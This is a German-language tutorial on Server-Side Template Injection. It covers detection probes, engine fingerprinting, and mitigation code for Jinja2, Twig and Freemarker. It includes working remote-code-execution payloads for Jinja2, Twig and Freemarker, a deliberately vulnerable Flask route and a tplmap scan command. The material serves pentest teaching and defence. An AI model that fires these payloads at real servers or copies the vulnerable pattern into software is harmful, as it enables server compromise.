Server-Side Template Injection (SSTI) - Template-Engine-Angriffe
Server-Side Template Injection tritt auf wenn Benutzereingaben direkt in Template-Engines eingefuegt werden ohne vorherige Escaping. Angreifer können Template-Syntax nutzen um serverseitigen Code auszuführen und so zu Remote Code Execution eskalieren. Betroffen: Jinja2 (Python), Twig (PHP), Freemarker (Java), Handlebars (Node.js). Erkennbar durch {{7*7}} = 49 in der Ausgabe. Schutz: Template-Rendering nur mit vertrauenswuerdigen Vorlagen.
Server-Side Template Injection (SSTI) entsteht wenn eine Webanwendung Benutzereingaben direkt in Template-Strings einfügt die dann von einer Template-Engine verarbeitet werden. Im Gegensatz zu Cross-Site-Scripting (XSS - Injection im Browser) findet SSTI serverseitig statt und ermöglicht direkte Code-Ausführung auf dem Server - eine der gefährlichsten Web-Schwachstellen überhaupt.
Das Grundprinzip
# Anfälliger Code (Python/Jinja2):
from flask import Flask, render_template_string, request
app = Flask(__name__)
@app.route('/hello')
def hello():
name = request.args.get('name')
# UNSICHER: User-Input direkt in Template-String!
template = f"<h1>Hallo {name}!</h1>"
return render_template_string(template)
Normale Nutzung:
GET /hello?name=Alice
→ Template: <h1>Hallo Alice!</h1>
SSTI-Erkennung (Schritt 1):
GET /hello?name={{7*7}}
→ Template: <h1>Hallo 49!</h1> ← Jinja2 hat 7*7 berechnet!
→ SSTI bestätigt! (XSS würde {{7*7}} unverändert ausgeben)
Engine-Identifikation (Schritt 2):
| Payload | Ergebnis | Engine |
|---|---|---|
{{7*7}} → 49 UND {{7*'7'}} → '7777777' | Twig (PHP) | |
{{7*7}} → 49 UND {{7*'7'}} → 49 | Jinja2 (Python) | |
${7*7} → 49 | Freemarker (Java) | |
#{7*7} → 49 | Mako (Python) | |
<%= 7*7 %> → 49 | ERB (Ruby) |
SSTI-Exploitation pro Template-Engine
Jinja2 (Python/Flask)
Erkennung: {{7*7}} → 49
Informations-Leak:
{{config}} → Flask-Konfiguration + SECRET_KEY!
{{config.items()}} → Alle Konfigurationswerte
RCE via Python Object-Hierarchy (konzeptuell):
- Jinja2 ermöglicht Zugriff auf Python-Objekte via
__class__,__mro__,__subclasses__()Attribute - Traversierung bis zu sys, os, subprocess-Modulen
- Von dort: Betriebssystem-Befehle aufrufbar
{{cycler.__init__.__globals__.os.popen('id').read()}}
→ Gibt User/Group des Webserver-Prozesses zurück → RCE!
Twig (PHP)
Erkennung: {{7*7}} → 49 UND {{7*'7'}} → '7777777'
RCE-Methode:
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
→ Registriert system() als Filter → Befehlsausführung
Freemarker (Java)
Erkennung: ${7*7} → 49
RCE via Execute-Klasse:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
→ Freemarker instantiiert Execute-Klasse → OS-Befehl
ERB (Ruby on Rails)
Erkennung: <%= 7*7 %> → 49
Backtick-Syntax in ERB → Subshell-Ausführung → RCE
Handlebars (Node.js)
Erkennung: {{7}} → 7 (Handlebars escapet, schränkt aus)
- Prototype-Pollution-Kombination nötig für RCE
- Weniger direkt als Jinja2 oder Twig
Erkennung im Pentest
Alle Eingabefelder testen
- GET/POST-Parameter
- URL-Pfad-Segmente
- HTTP-Header (User-Agent, X-Custom-Header)
- Cookie-Werte
- JSON-Felder
- E-Mail-Templates (häufig vergessen!)
Mathematik-Test (Engine-agnostisch)
| Payload | Engine |
|---|---|
{{7*7}} | Jinja2/Twig: 49 |
${7*7} | Freemarker/OGNL: 49 |
#{7*7} | Mako/EL: 49 |
<%= 7*7 %> | ERB: 49 |
Kein Ergebnis (literales {{7*7}}) → kein SSTI, aber XSS prüfen!
Unterschied SSTI vs. XSS
- XSS-Payload:
<script>alert(1)</script>→ Ausführung im Browser - SSTI-Payload:
{{7*7}}→ 49 serverseitig berechnet! - XSS und SSTI können gleichzeitig vorhanden sein
Automatisiert (tplmap)
python3 tplmap.py -u "https://target.com/hello?name=*"
# → Automatische Engine-Erkennung + Exploitation-Test
# → Wie sqlmap, aber für SSTI
Blind SSTI (keine Ausgabe sichtbar)
- Time-Based:
{{6000000*6000000}}→ CPU-Spike messbar? - OOB: DNS-Exfiltration via Netzwerk-Requests aus Templates
E-Mail-Template-Testing
- Viele Template-Engines für E-Mails verwendet
- “Ihr Name: {{user_input}}” in E-Mail-Body
- SSTI in E-Mail → RCE obwohl kein HTTP-Response zurückkommt!
- Indikator: E-Mail zeigt berechneten Ausdruck statt Literal
Schutzmaßnahmen
Grundregel: NIEMALS User-Input in Template-Strings einfügen! User-Input als Template-Variablen übergeben!
Python (Jinja2/Flask)
# FALSCH - User-Input im Template-String:
template_str = "Hello " + user_name + "!"
return render_template_string(template_str)
# RICHTIG - User-Input als Template-Variable:
return render_template_string(
"Hello {{ name }}!", # Festes Template (kein User-Input!)
name=user_name # User-Input als sicherer Kontext-Wert
)
# Jinja2 escaped {{ name }} automatisch (HTML-Entities)!
# BESSER - Template aus Datei laden:
return render_template('hello.html', name=user_name)
# Templates in /templates/ Ordner, nur vertrauenswürdige Dateien!
PHP (Twig)
# FALSCH:
$template = $twig->createTemplate("Hello " . $user_name);
# RICHTIG:
$template = $twig->load('hello.html.twig');
echo $template->render(['name' => $user_name]);
Java (Freemarker)
// FALSCH: Template-String aus User-Input erstellen
Template t = new Template("name", new StringReader(userInput), cfg);
// RICHTIG: Template aus Datei laden
Template t = cfg.getTemplate("hello.ftl");
Map<String, Object> root = new HashMap<>();
root.put("name", userName); // Als Variable, nicht im Template!
t.process(root, out);
Sandbox-Modus (wenn User-Templates unvermeidbar)
# Jinja2 SandboxedEnvironment:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template)
# Eingeschränkter Namespace: kein __class__, kein __globals__
# Aber: Sandbox ist nicht unfehlbar! Escapes möglich!
// Twig Sandbox:
$policy = new SecurityPolicy($tags, $filters, $methods, $properties, $functions);
$sandbox = new SandboxExtension($policy);
$twig->addExtension($sandbox);
// Nur explizit erlaubte Tags/Filter/Methoden verwendbar
Ergänzende Maßnahmen
- Least Privilege: Webserver nicht als root
- WAF: bekannte SSTI-Patterns (
{{,${,<%=) filtern - Monitoring: Template-Engine-Fehler → SOC-Alert
- Output-Encoding: auch bei Template-Engines aktiv prüfen
- Code-Reviews: jedes
render_template_stringmit User-Input markieren